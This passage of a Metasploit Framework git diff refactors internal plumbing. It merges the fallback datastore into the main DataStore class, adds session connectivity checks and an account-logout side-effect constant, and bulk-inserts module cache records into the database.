b/lib/msf/base/sessions/smb.rb index d8fded2d287c..70f3b67b6281 100644 --- a/lib/msf/base/sessions/smb.rb +++ b/lib/msf/base/sessions/smb.rb @@ -23,7 +23,7 @@ class Msf::Sessions::SMB # @option opts [RubySMB::Client] :client def initialize(rstream, opts = {}) @client = opts.fetch(:client) - @simple_client = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + @simple_client = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client, msf_session: self) self.console = Rex::Post::SMB::Ui::Console.new(self) super(rstream, opts) end @@ -53,6 +53,13 @@ def process_autoruns(datastore) end end + def verify_connectivity + @client.dispatcher.tcp_socket.peerinfo + rescue Errno::ENOTCONN + self.kill + raise + end + def type self.class.type end @@ -140,5 +147,4 @@ def _interact_stream # the EOFError so we can drop this handle like a bad habit. raise EOFError if (console.stopped? == true) end - end diff --git a/lib/msf/base/sessions/ssh_command_shell_bind.rb b/lib/msf/base/sessions/ssh_command_shell_bind.rb index a6bc1dd97b33..e645c47da993 100644 --- a/lib/msf/base/sessions/ssh_command_shell_bind.rb +++ b/lib/msf/base/sessions/ssh_command_shell_bind.rb @@ -243,7 +243,7 @@ def bootstrap(datastore = {}, handler = nil) # shells accessed through SSH may respond to the echo command issued for verification as expected datastore['AutoVerifySession'] &= @platform.blank? - @rstream = Net::SSH::CommandStream.new(ssh_connection).lsock + @rstream = Net::SSH::CommandStream.new(ssh_connection, session: self, logger: self).lsock super @info = "SSH #{username} @ #{@peer_info}" diff --git a/lib/msf/core/constants.rb b/lib/msf/core/constants.rb index 159ef31fe5b7..a490964a7c4a 100644 --- a/lib/msf/core/constants.rb +++ b/lib/msf/core/constants.rb @@ -82,6 +82,8 @@ module Msf IOC_IN_LOGS = 'ioc-in-logs' # Module may cause account lockouts (likely due to brute-forcing). ACCOUNT_LOCKOUTS = 'account-lockouts' +# Module may cause an existing valid session to be forced to log out (likely due to restrictions on concurrent sessions). +ACCOUNT_LOGOUT = 'account-logout' # Module may show something on the screen (Example: a window pops up). SCREEN_EFFECTS = 'screen-effects' # Module may cause a noise (Examples: audio output from the speakers or hardware beeps). diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index ca9c6c022da5..d7bac00ac35b 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -3,40 +3,61 @@ module Msf ### # -# The data store is just a bitbucket that holds keyed values. It is used +# The data store is just a bitbucket that holds keyed values. It is used # by various classes to hold option values and other state information. # ### -class DataStore < Hash - - # Temporary forking logic for conditionally using the {Msf::ModuleDatastoreWithFallbacks} implementation. - # - # This method replaces the default `ModuleDataStore.new` with the ability to instantiate the `ModuleDataStoreWithFallbacks` - # class instead, if the feature is enabled - def self.new - if Msf::FeatureManager.instance.enabled?(Msf::FeatureManager::DATASTORE_FALLBACKS) - return Msf::DataStoreWithFallbacks.new - end - - instance = allocate - instance.send(:initialize) - instance - end +class DataStore + + # The global framework datastore doesn't currently import options + # For now, store an ad-hoc list of keys that the shell handles + # + # This list could be removed if framework's bootup sequence registers + # these as datastore options + GLOBAL_KEYS = %w[ + ConsoleLogging + LogLevel + MinimumRank + SessionLogging + TimestampOutput + Prompt + PromptChar + PromptTimeFormat + MeterpreterPrompt + SessionTlvLogging + ] # # Initializes the data store's internal state. # - def initialize() + def initialize @options = Hash.new @aliases = Hash.new - @imported = Hash.new - @imported_by = Hash.new + + # default values which will be referenced when not defined by the user + @defaults = Hash.new + + # values explicitly defined, which take precedence over default values + @user_defined = Hash.new end + # @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc attr_accessor :options - attr_accessor :aliases - attr_accessor :imported - attr_accessor :imported_by + + # + # Returns a hash of user-defined datastore values. The returned hash does + # not include default option values. + # + # @return [Hash] values explicitly defined on the data store which will override any default datastore values + attr_accessor :user_defined + + # + # Was this entry actually set or just using its default + # + # @return [TrueClass, FalseClass] + def default?(key) + search_for(key).default? + end # # Clears the imported flag for the supplied key since it's being set @@ -44,8 +65,6 @@ def initialize() # def []=(k, v) k = find_key_case(k) - @imported[k] = false - @imported_by[k] = nil opt = @options[k] unless opt.nil? @@ -57,49 +76,76 @@ def []=(k, v) end end - super(k,v) + @user_defined[k] = v end # # Case-insensitive wrapper around hash lookup # def [](k) - super(find_key_case(k)) + search_result = search_for(k) + + search_result.value end # - # Case-insensitive wrapper around store + # Case-insensitive wrapper around store; Skips option validation entirely # def store(k,v) - super(find_key_case(k), v) + @user_defined[find_key_case(k)] = v end # - # Case-insensitive wrapper around delete + # Updates a value in the datastore with the specified name, k, to the + # specified value, v. Skips option validation entirely. + # + def update_value(k, v) + store(k, v) + end + # - def delete(k) - @aliases.delete_if { |_, v| v.casecmp(k) == 0 } - super(find_key_case(k)) + # unset the current key from the datastore + # @param [String] key The key to search for + def unset(key) + k = find_key_case(key) + search_result = search_for(k) + @user_defined.delete(k) + + search_result.value end + # @deprecated use #{unset} instead, or set the value explicitly to nil + # @param [String] key The key to search for + def delete(key) + unset(key) + end # - # Updates a value in the datastore with the specified name, k, to the - # specified value, v. This update does not alter the imported status of - # the value. + # Removes an option and any associated value # - def update_value(k, v) - self.store(k, v) + # @param [String] name the option name + # @return [nil] + def remove_option(name) + k = find_key_case(name) + @user_defined.delete(k) + @aliases.delete_if { |_, v| v.casecmp?(k) } + @options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) } + + nil end # # This method is a helper method that imports the default value for # all of the supplied options # - def import_options(options, imported_by = nil, overwrite = false) - options.each_option do |name, opt| - if self[name].nil? || overwrite - import_option(name, opt.default, true, imported_by, opt) + def import_options(options, imported_by = nil, overwrite = true) + options.each_option do |name, option| + if self.options[name].nil? || overwrite + key = name + option.aliases.each do |a| + @aliases[a.downcase] = key.downcase + end + @options[key] = option end end end @@ -142,22 +188,32 @@ def import_options_from_s(option_str, delim = nil) hash[var] = val } - import_options_from_hash(hash) + merge!(hash) end # - # Imports options from a hash and stores them in the datastore. + # Imports values from a hash and stores them in the datastore. # + # @deprecated use {#merge!} instead + # @return [nil] def import_options_from_hash(option_hash, imported = true, imported_by = nil) - option_hash.each_pair { |key, val| - import_option(key, val, imported, imported_by) - } + merge!(option_hash) + end + + # Update defaults from a hash. These merged values are not validated by default. + # + # @param [Hash] hash The default values that should be used by the datastore + # @param [Object] imported_by Who imported the defaults, not currently used + # @return [nil] + def import_defaults_from_hash(hash, imported_by:) + @defaults.merge!(hash) end # TODO: Doesn't normalize data in the same vein as: # https://github.com/rapid7/metasploit-framework/pull/6644 + # @deprecated Use {#import_options} def import_option(key, val, imported = true, imported_by = nil, option = nil) - self.store(key, val) + store(key, val) if option option.aliases.each do |a| @@ -165,10 +221,32 @@ def import_option(key, val, imported = true, imported_by = nil, option = nil) end end @options[key] = option - @imported[key] = imported - @imported_by[key] = imported_by end + # @return [Array] The array of user defined datastore values, and registered option names + def keys + (@user_defined.keys + @options.keys).uniq(&:downcase) + end + + # @return [Integer] The length of the registered keys + def length + keys.length + end + + alias count length + alias size length + + # @param [String] key + # @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise. + def key?(key) + matching_key = find_key_case(key) + keys.include?(matching_key) + end + + alias has_key? key? + alias include? key? + alias member? key? + # # Serializes the options in the datastore to a string. # @@ -179,7 +257,7 @@ def to_s(delim = ' ') str << "#{key}=#{self[key]}" + ((str.length) ? delim : '') } - return str + str end # Override Hash's to_h method so we can include the original case of each key @@ -225,7 +303,7 @@ def to_file(path, name = 'global') ini.add_group(name) # Save all user-defined options to the file. - user_defined.each_pair { |k, v| + @user_defined.each_pair { |k, v| ini[name][k] = v } @@ -243,73 +321,73 @@ def from_file(path, name = 'global') return end - if (ini.group?(name)) - import_options_from_hash(ini[name], false) + if ini.group?(name) + merge!(ini[name]) end end # - # Return a deep copy of this datastore. - # + # Return a copy of this datastore. Only string values will be duplicated, other values + # will share the same reference + # @return [Msf::DataStore] a new datastore instance def copy - ds = self.class.new - self.keys.each do |k| - ds.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k]) - end - ds.aliases = self.aliases.dup - ds + new_instance = self.class.new + new_instance.copy_state(self) + new_instance end # - # Override merge! so that we merge the aliases and imported hashes + # Merge the other object into the current datastore's aliases and imported hashes # + # @param [Msf::Datastore, Hash] other def merge!(other) - if other.is_a? DataStore + if other.is_a?(DataStore) self.aliases.merge!(other.aliases) - self.imported.merge!(other.imported) - self.imported_by.merge!(other.imported_by) + self.options.merge!(other.options) + self.defaults.merge!(other.defaults) + other.user_defined.each do |k, v| + @user_defined[find_key_case(k)] = v + end + else + other.each do |k, v| + self.store(k, v) + end end - # call super last so that we return a reference to ourselves - super - end - # - # Override merge to ensure we merge the aliases and imported hashes - # - def merge(other) - ds = self.copy - ds.merge!(other) + self end + alias update merge! + # - # Returns a hash of user-defined datastore values. The returned hash does - # not include default option values. + # Reverse Merge the other object into the current datastore's aliases and imported hashes + # Equivalent to ActiveSupport's reverse_merge! functionality. # - def user_defined - reject { |k, v| - @imported[k] == true - } + # @param [Msf::Datastore] other + def reverse_merge!(other) + raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStore) + + copy_state(other.merge(self)) end # - # Remove all imported options from the data store. + # Override merge to ensure we merge the aliases and imported hashes # - def clear_non_user_defined - @imported.delete_if { |k, v| - if (v and @imported_by[k] != 'self') - self.delete(k) - @imported_by.delete(k) - end - - v - } + # @param [Msf::Datastore,Hash] other + def merge(other) + ds = self.copy + ds.merge!(other) end # - # Completely clear all values in the hash + # Completely clear all values in the data store # def clear - self.keys.each {|k| self.delete(k) } + self.options.clear + self.aliases.clear + self.defaults.clear + self.user_defined.clear + self end @@ -325,28 +403,145 @@ def each(&block) list.each(&block) end + alias each_pair each + + def each_key(&block) + self.keys.each(&block) + end + # # Case-insensitive key lookup # + # @return [String] def find_key_case(k) - # Scan each alias looking for a key search_k = k.downcase if self.aliases.has_key?(search_k) search_k = self.aliases[search_k] end + # Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity + if @user_defined.key?(search_k) || options.key?(search_k) + return search_k + end + # Scan each key looking for a match - self.each_key do |rk| + each_key do |rk| if rk.casecmp(search_k) == 0 return rk end end # Fall through to the non-existent value - return k + k + end + + # Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc. + # + # @param [String] key The key to search for + # @return [DataStoreSearchResult] + def search_for(key) + k = find_key_case(key) + return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k) + + option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last } + if option + # If the key isn't present - check any additional fallbacks that have been registered with the option. + # i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more + # generic 'Username' fallback + option.fallbacks.each do |fallback| + fallback_search = search_for(fallback) + if fallback_search.found? + return search_result(:option_fallback, fallback_search.value, fallback_key: fallback) + end + end + end + + # Checking for imported default values, ignoring case again + imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) } + return search_result(:imported_default, imported_default_match.last) if imported_default_match + return search_result(:option_default, option.default) if option + + search_result(:not_found, nil) + end + + protected + + # These defaults will be used if the user has not explicitly defined a specific datastore value. + # These will be checked as a priority to any options that also provide defaults. + # + # @return [Hash{String => Msf::OptBase}] The hash of default values + attr_accessor :defaults + + # @return [Hash{String => String}] The key is the old option name, the value is the new option name + attr_accessor :aliases + + # + # Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than + # imported and user_defined strings. + # + # @param [Msf::DataStore] other The other datastore to copy state from + # @return [Msf::DataStore] the current datastore instance + def copy_state(other) + self.options = other.options.dup + self.aliases = other.aliases.dup + self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value } + self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value } + + self + end + + # Raised when the specified key is not found + # @param [string] key + def key_error_for(key) + ::KeyError.new "key not found: #{key.inspect}" + end + + # + # Simple dataclass for storing the result of a datastore search + # + class DataStoreSearchResult + # @return [String, nil] the key associated with the fallback value + attr_reader :fallback_key + + # @return [object, nil] The value if found + attr_reader :value + + def initialize(result, value, namespace: nil, fallback_key: nil) + @namespace = namespace + @result = result + @value = value + @fallback_key = fallback_key + end + + def default? + result == :imported_default || result == :option_default || !found? + end + + def found? + result != :not_found + end + + def fallback? + result == :option_fallback + end + + def global? + namespace == :global_data_store && found? + end + + protected + + # @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore + attr_reader :namespace + + # @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default` + attr_reader :result end + def search_result(result, value, fallback_key: nil) + DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key) + end end end diff --git a/lib/msf/core/data_store_with_fallbacks.rb b/lib/msf/core/data_store_with_fallbacks.rb deleted file mode 100644 index 7d6d372a72de..000000000000 --- a/lib/msf/core/data_store_with_fallbacks.rb +++ /dev/null @@ -1,547 +0,0 @@ -# -*- coding: binary -*- -module Msf - -### -# -# The data store is just a bitbucket that holds keyed values. It is used -# by various classes to hold option values and other state information. -# -### -class DataStoreWithFallbacks - - # The global framework datastore doesn't currently import options - # For now, store an ad-hoc list of keys that the shell handles - # - # This list could be removed if framework's bootup sequence registers - # these as datastore options - GLOBAL_KEYS = %w[ - ConsoleLogging - LogLevel - MinimumRank - SessionLogging - TimestampOutput - Prompt - PromptChar - PromptTimeFormat - MeterpreterPrompt - SessionTlvLogging - ] - - # - # Initializes the data store's internal state. - # - def initialize - @options = Hash.new - @aliases = Hash.new - - # default values which will be referenced when not defined by the user - @defaults = Hash.new - - # values explicitly defined, which take precedence over default values - @user_defined = Hash.new - end - - # @return [Hash{String => Msf::OptBase}] The options associated with this datastore. Used for validating values/defaults/etc - attr_accessor :options - - # - # Returns a hash of user-defined datastore values. The returned hash does - # not include default option values. - # - # @return [Hash] values explicitly defined on the data store which will override any default datastore values - attr_accessor :user_defined - - # - # Was this entry actually set or just using its default - # - # @return [TrueClass, FalseClass] - def default?(key) - search_for(key).default? - end - - # - # Clears the imported flag for the supplied key since it's being set - # directly. - # - def []=(k, v) - k = find_key_case(k) - - opt = @options[k] - unless opt.nil? - if opt.validate_on_assignment? - unless opt.valid?(v, check_empty: false) - raise Msf::OptionValidateError.new(["Value '#{v}' is not valid for option '#{k}'"]) - end - v = opt.normalize(v) - end - end - - @user_defined[k] = v - end - - # - # Case-insensitive wrapper around hash lookup - # - def [](k) - search_result = search_for(k) - - search_result.value - end - - # - # Case-insensitive wrapper around store; Skips option validation entirely - # - def store(k,v) - @user_defined[find_key_case(k)] = v - end - - # - # Updates a value in the datastore with the specified name, k, to the - # specified value, v. Skips option validation entirely. - # - def update_value(k, v) - store(k, v) - end - - # - # unset the current key from the datastore - # @param [String] key The key to search for - def unset(key) - k = find_key_case(key) - search_result = search_for(k) - @user_defined.delete(k) - - search_result.value - end - - # @deprecated use #{unset} instead, or set the value explicitly to nil - # @param [String] key The key to search for - def delete(key) - unset(key) - end - - # - # Removes an option and any associated value - # - # @param [String] name the option name - # @return [nil] - def remove_option(name) - k = find_key_case(name) - @user_defined.delete(k) - @aliases.delete_if { |_, v| v.casecmp?(k) } - @options.delete_if { |option_name, _v| option_name.casecmp?(k) || option_name.casecmp?(name) } - - nil - end - - # - # This method is a helper method that imports the default value for - # all of the supplied options - # - def import_options(options, imported_by = nil, overwrite = true) - options.each_option do |name, option| - if self.options[name].nil? || overwrite - key = name - option.aliases.each do |a| - @aliases[a.downcase] = key.downcase - end - @options[key] = option - end - end - end - - # - # Imports option values from a whitespace separated string in - # VAR=VAL format. - # - def import_options_from_s(option_str, delim = nil) - hash = {} - - # Figure out the delimiter, default to space. - if (delim.nil?) - delim = /\s/ - - if (option_str.split('=').length <= 2 or option_str.index(',') != nil) - delim = ',' - end - end - - # Split on the delimiter - option_str.split(delim).each { |opt| - var, val = opt.split('=', 2) - - next if (var =~ /^\s+$/) - - - # Invalid parse? Raise an exception and let those bastards know. - if (var == nil or val == nil) - var = "unknown" if (!var) - - raise Rex::ArgumentParseError, "Invalid option specified: #{var}", - caller - end - - # Remove trailing whitespaces from the value - val.gsub!(/\s+$/, '') - - # Store the value - hash[var] = val - } - - merge!(hash) - end - - # - # Imports values from a hash and stores them in the datastore. - # - # @deprecated use {#merge!} instead - # @return [nil] - def import_options_from_hash(option_hash, imported = true, imported_by = nil) - merge!(option_hash) - end - - # Update defaults from a hash. These merged values are not validated by default. - # - # @param [Hash] hash The default values that should be used by the datastore - # @param [Object] imported_by Who imported the defaults, not currently used - # @return [nil] - def import_defaults_from_hash(hash, imported_by:) - @defaults.merge!(hash) - end - - # TODO: Doesn't normalize data in the same vein as: - # https://github.com/rapid7/metasploit-framework/pull/6644 - # @deprecated Use {#import_options} - def import_option(key, val, imported = true, imported_by = nil, option = nil) - store(key, val) - - if option - option.aliases.each do |a| - @aliases[a.downcase] = key.downcase - end - end - @options[key] = option - end - - # @return [Array] The array of user defined datastore values, and registered option names - def keys - (@user_defined.keys + @options.keys).uniq(&:downcase) - end - - # @return [Integer] The length of the registered keys - def length - keys.length - end - - alias count length - alias size length - - # @param [String] key - # @return [TrueClass, FalseClass] True if the key is present in the user defined values, or within registered options. False otherwise. - def key?(key) - matching_key = find_key_case(key) - keys.include?(matching_key) - end - - alias has_key? key? - alias include? key? - alias member? key? - - # - # Serializes the options in the datastore to a string. - # - def to_s(delim = ' ') - str = '' - - keys.sort.each { |key| - str << "#{key}=#{self[key]}" + ((str.length) ? delim : '') - } - - str - end - - # Override Hash's to_h method so we can include the original case of each key - # (failing to do this breaks a number of places in framework and pro that use - # serialized datastores) - def to_h - datastore_hash = {} - self.keys.each do |k| - datastore_hash[k.to_s] = self[k].to_s - end - datastore_hash - end - - # Hack on a hack for the external modules - def to_external_message_h - datastore_hash = {} - - array_nester = ->(arr) do - if arr.first.is_a? Array - arr.map &array_nester - else - arr.map { |item| item.to_s.dup.force_encoding('UTF-8') } - end - end - - self.keys.each do |k| - # TODO arbitrary depth - if self[k].is_a? Array - datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = array_nester.call(self[k]) - else - datastore_hash[k.to_s.dup.force_encoding('UTF-8')] = self[k].to_s.dup.force_encoding('UTF-8') - end - end - datastore_hash - end - - # - # Persists the contents of the data store to a file - # - def to_file(path, name = 'global') - ini = Rex::Parser::Ini.new(path) - - ini.add_group(name) - - # Save all user-defined options to the file. - @user_defined.each_pair { |k, v| - ini[name][k] = v - } - - ini.to_file(path) - end - - # - # Imports datastore values from the specified file path using the supplied - # name - # - def from_file(path, name = 'global') - begin - ini = Rex::Parser::Ini.from_file(path) - rescue - return - end - - if ini.group?(name) - merge!(ini[name]) - end - end - - # - # Return a copy of this datastore. Only string values will be duplicated, other values - # will share the same reference - # @return [Msf::DataStore] a new datastore instance - def copy - new_instance = self.class.new - new_instance.copy_state(self) - new_instance - end - - # - # Merge the other object into the current datastore's aliases and imported hashes - # - # @param [Msf::Datastore, Hash] other - def merge!(other) - if other.is_a?(DataStoreWithFallbacks) - self.aliases.merge!(other.aliases) - self.options.merge!(other.options) - self.defaults.merge!(other.defaults) - other.user_defined.each do |k, v| - @user_defined[find_key_case(k)] = v - end - else - other.each do |k, v| - self.store(k, v) - end - end - - self - end - - alias update merge! - - # - # Reverse Merge the other object into the current datastore's aliases and imported hashes - # Equivalent to ActiveSupport's reverse_merge! functionality. - # - # @param [Msf::Datastore] other - def reverse_merge!(other) - raise ArgumentError, "invalid error type #{other.class}, expected ::Msf::DataStore" unless other.is_a?(Msf::DataStoreWithFallbacks) - - copy_state(other.merge(self)) - end - - # - # Override merge to ensure we merge the aliases and imported hashes - # - # @param [Msf::Datastore,Hash] other - def merge(other) - ds = self.copy - ds.merge!(other) - end - - # - # Completely clear all values in the data store - # - def clear - self.options.clear - self.aliases.clear - self.defaults.clear - self.user_defined.clear - - self - end - - # - # Overrides the builtin 'each' operator to avoid the following exception on Ruby 1.9.2+ - # "can't add a new key into hash during iteration" - # - def each(&block) - list = [] - self.keys.sort.each do |sidx| - list << [sidx, self[sidx]] - end - list.each(&block) - end - - alias each_pair each - - def each_key(&block) - self.keys.each(&block) - end - - # - # Case-insensitive key lookup - # - # @return [String] - def find_key_case(k) - # Scan each alias looking for a key - search_k = k.downcase - if self.aliases.has_key?(search_k) - search_k = self.aliases[search_k] - end - - # Check to see if we have an exact key match - otherwise we'll have to search manually to check case sensitivity - if @user_defined.key?(search_k) || options.key?(search_k) - return search_k - end - - # Scan each key looking for a match - each_key do |rk| - if rk.casecmp(search_k) == 0 - return rk - end - end - - # Fall through to the non-existent value - k - end - - # Search for a value within the current datastore, taking into consideration any registered aliases, fallbacks, etc. - # - # @param [String] key The key to search for - # @return [DataStoreSearchResult] - def search_for(key) - k = find_key_case(key) - return search_result(:user_defined, @user_defined[k]) if @user_defined.key?(k) - - option = @options.fetch(k) { @options.find { |option_name, _option| option_name.casecmp?(k) }&.last } - if option - # If the key isn't present - check any additional fallbacks that have been registered with the option. - # i.e. handling the scenario of SMBUser not being explicitly set, but the option has registered a more - # generic 'Username' fallback - option.fallbacks.each do |fallback| - fallback_search = search_for(fallback) - if fallback_search.found? - return search_result(:option_fallback, fallback_search.value, fallback_key: fallback) - end - end - end - - # Checking for imported default values, ignoring case again - imported_default_match = @defaults.find { |default_key, _default_value| default_key.casecmp?(k) } - return search_result(:imported_default, imported_default_match.last) if imported_default_match - return search_result(:option_default, option.default) if option - - search_result(:not_found, nil) - end - - protected - - # These defaults will be used if the user has not explicitly defined a specific datastore value. - # These will be checked as a priority to any options that also provide defaults. - # - # @return [Hash{String => Msf::OptBase}] The hash of default values - attr_accessor :defaults - - # @return [Hash{String => String}] The key is the old option name, the value is the new option name - attr_accessor :aliases - - # - # Copy the state from the other Msf::DataStore. The state will be coped in a shallow fashion, other than - # imported and user_defined strings. - # - # @param [Msf::DataStore] other The other datastore to copy state from - # @return [Msf::DataStore] the current datastore instance - def copy_state(other) - self.options = other.options.dup - self.aliases = other.aliases.dup - self.defaults = other.defaults.transform_values { |value| value.kind_of?(String) ? value.dup : value } - self.user_defined = other.user_defined.transform_values { |value| value.kind_of?(String) ? value.dup : value } - - self - end - - # Raised when the specified key is not found - # @param [string] key - def key_error_for(key) - ::KeyError.new "key not found: #{key.inspect}" - end - - # - # Simple dataclass for storing the result of a datastore search - # - class DataStoreSearchResult - # @return [String, nil] the key associated with the fallback value - attr_reader :fallback_key - - # @return [object, nil] The value if found - attr_reader :value - - def initialize(result, value, namespace: nil, fallback_key: nil) - @namespace = namespace - @result = result - @value = value - @fallback_key = fallback_key - end - - def default? - result == :imported_default || result == :option_default || !found? - end - - def found? - result != :not_found - end - - def fallback? - result == :option_fallback - end - - def global? - namespace == :global_data_store && found? - end - - protected - - # @return [Symbol] namespace Where the search result was found, i.e. a module datastore or global datastore - attr_reader :namespace - - # @return [Symbol] result is one of `user_defined`, `not_found`, `option_fallback`, `option_default`, `imported_default` - attr_reader :result - end - - def search_result(result, value, fallback_key: nil) - DataStoreSearchResult.new(result, value, namespace: :global_data_store, fallback_key: fallback_key) - end -end - -end diff --git a/lib/msf/core/db_manager/migration.rb b/lib/msf/core/db_manager/migration.rb index f38b827409d3..32f5e0579eb8 100644 --- a/lib/msf/core/db_manager/migration.rb +++ b/lib/msf/core/db_manager/migration.rb @@ -23,33 +23,22 @@ def add_rails_engine_migration_paths # @see ActiveRecord::MigrationContext.migrate def migrate(config=nil, verbose=false) ran = [] - # Rails 5 changes ActiveRecord parents means to migrate outside - # the `rake` task framework has to dig a little lower into ActiveRecord - # to set up the DB connection capable of interacting with migration. - previouslyConnected = ActiveRecord::Base.connected? - unless previouslyConnected - ApplicationRecord.remove_connection - ActiveRecord::Base.establish_connection(config) - end + ActiveRecord::Migration.verbose = verbose ActiveRecord::Base.connection_pool.with_connection do begin - context = default_migration_context - if needs_migration?(context) - ran = context.migrate + with_migration_context do |context| + if context.needs_migration? + ran = context.migrate + end end - # ActiveRecord::Migrator#migrate rescues all errors and re-raises them - # as StandardError + # ActiveRecord::Migrator#migrate rescues all errors and re-raises them as StandardError rescue StandardError => error self.error = error elog('DB.migrate threw an exception', error: error) end end - unless previouslyConnected - ActiveRecord::Base.remove_connection - ApplicationRecord.establish_connection(config) - end # Since the connections that existed before the migrations ran could # have outdated column information, reset column information for all # ApplicationRecord descendents to prevent missing method errors for @@ -57,15 +46,14 @@ def migrate(config=nil, verbose=false) # information was cached. reset_column_information - return ran + ran end # Determine if the currently established database connection needs migration # - # @param [ActiveRecord::MigrationContext,snil] context The migration context to check. Will default if not supplied # @return [Boolean] True if migration is required, false otherwise - def needs_migration?(context = default_migration_context) - ActiveRecord::Base.connection_pool.with_connection do + def needs_migration? + with_migration_context do |context| return context.needs_migration? end end @@ -77,6 +65,10 @@ def needs_migration?(context = default_migration_context) private + def with_migration_context + yield ActiveRecord::MigrationContext.new(gather_engine_migration_paths) + end + # @return [ActiveRecord::MigrationContext] def default_migration_context ActiveRecord::MigrationContext.new(gather_engine_migration_paths, ActiveRecord::SchemaMigration) diff --git a/lib/msf/core/db_manager/module_cache.rb b/lib/msf/core/db_manager/module_cache.rb index 1c26e3025144..e6acf1c32ed7 100644 --- a/lib/msf/core/db_manager/module_cache.rb +++ b/lib/msf/core/db_manager/module_cache.rb @@ -28,7 +28,7 @@ def match_values(values) values.collect { |value| "%#{value}%" } end - def module_to_details_hash(m) + def module_to_details_hash(m, with_mixins: true) res = {} bits = [] @@ -92,8 +92,10 @@ def module_to_details_hash(m) res[:stance] = m.stance.to_s.index("aggressive") ? "aggressive" : "passive" - m.class.mixins.each do |x| - bits << [ :mixin, { :name => x.to_s } ] + if with_mixins + m.class.mixins.each do |x| + bits << [ :mixin, { :name => x.to_s } ] + end end end @@ -269,7 +271,6 @@ def update_all_module_details } Mdm::Module::Detail.find_each do |md| - unless md.ready refresh << md next @@ -291,6 +292,7 @@ def update_all_module_details refresh.each { |md| md.destroy } + new_modules = [] [ ['exploit', framework.exploits], ['auxiliary', framework.auxiliary], @@ -305,14 +307,12 @@ def update_all_module_details next if skip_reference_name_set.include? mn obj = mt[1].create(mn) next if not obj - begin - update_module_details(obj) - rescue ::Exception => e - elog("Error updating module details for #{obj.fullname}", error: e) - end + new_modules <<= obj end end + insert_all(new_modules) + self.framework.cache_initialized = true end @@ -332,7 +332,7 @@ def update_module_details(module_instance) return if not self.migrated ApplicationRecord.connection_pool.with_connection do - info = module_to_details_hash(module_instance) + info = module_to_details_hash(module_instance, with_mixins: false) bits = info.delete(:bits) || [] module_detail = Mdm::Module::Detail.create!(info) @@ -359,4 +359,65 @@ def update_module_details(module_instance) module_detail.save! end end + + private + + # Insert the Msf::Module array into the Mdm::Module::Detail database class + # + # @param [Array] modules + def insert_all(modules) + module_hashes = modules.filter_map do |mod| + begin + hash = module_to_details_hash(mod, with_mixins: false) + # The insert_all API requires all hashes to have the same keys present, so explicitly set these potentially missing keys + hash[:disclosure_date] ||= nil + hash[:default_target] ||= nil + hash[:default_action] ||= nil + hash[:stance] ||= nil + hash + rescue ::Exception => e + elog("Error updating module details for #{mod.fullname}", error: e) + nil + end + end + return if module_hashes.empty? + + # 1) Bulk insert the module detail entries + module_details = module_hashes.map { |mod_hash| mod_hash.except(:bits) } + module_detail_ids = Mdm::Module::Detail.insert_all!(module_details, returning: %w[id]).map { |returning| returning['id'] } + + # 2) Build the hashes for the associations + associations = module_hashes.zip(module_detail_ids).each_with_object(Hash.new { |hash, key| hash[key] = [] }) do |(module_hash, detail_id), acc| + module_hash[:bits].each do |args| + otype, vals = args + + case otype + when :action + acc[Mdm::Module::Action] << { detail_id: detail_id, name: vals[:name] } + when :arch + acc[Mdm::Module::Arch] << { detail_id: detail_id, name: vals[:name] } + when :author + acc[Mdm::Module::Author] << { detail_id: detail_id, name: vals[:name], email: vals[:email] } + when :platform + acc[Mdm::Module::Platform] << { detail_id: detail_id, name: vals[:name] } + when :ref + acc[Mdm::Module::Ref] << { detail_id: detail_id, name: vals[:name] } + when :target + acc[Mdm::Module::Target] << { detail_id: detail_id, index: vals[:index], name: vals[:name] } + end + end + end + + # 3) Insert the child associations + associations.each do |association_clazz, entries| + next if entries.empty? + + association_clazz.insert_all!(entries) + end + + # 4) Mark the parent models as ready - to avoid repopulating the cache again + Mdm::Module::Detail.where(id: module_detail_ids).update_all(ready: true) + + nil + end end diff --git a/lib/msf/core/db_manager/service.rb b/lib/msf/core/db_manager/service.rb index fb20b27848e8..aa60377237db 100644 --- a/lib/msf/core/db_manager/service.rb +++ b/lib/msf/core/db_manager/service.rb @@ -48,6 +48,7 @@ def find_or_create_service(opts) # +:info+:: Detailed information about the service such as name and version information # +:state+:: The current listening state of the service (one of: open, closed, filtered, unknown) # + # @return [Mdm::Service,nil] def report_service(opts) return if !active ::ApplicationRecord.connection_pool.with_connection { |conn| @@ -81,8 +82,6 @@ def report_service(opts) return nil end - ret = {} - proto = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO service = host.services.where(port: opts[:port].to_i, proto: proto).first_or_initialize @@ -116,13 +115,13 @@ def report_service(opts) end if opts[:task] - Mdm::TaskService.create( + Mdm::TaskService.where( :task => opts[:task], :service => service - ) + ).first_or_create end - ret[:service] = service + service } end diff --git a/lib/msf/core/db_manager/vuln.rb b/lib/msf/core/db_manager/vuln.rb index 6b2a299ea52b..c706533958f8 100644 --- a/lib/msf/core/db_manager/vuln.rb +++ b/lib/msf/core/db_manager/vuln.rb @@ -223,6 +223,10 @@ def report_vuln(opts) # Set the exploited_at value if provided vuln.exploited_at = exploited_at if exploited_at + # 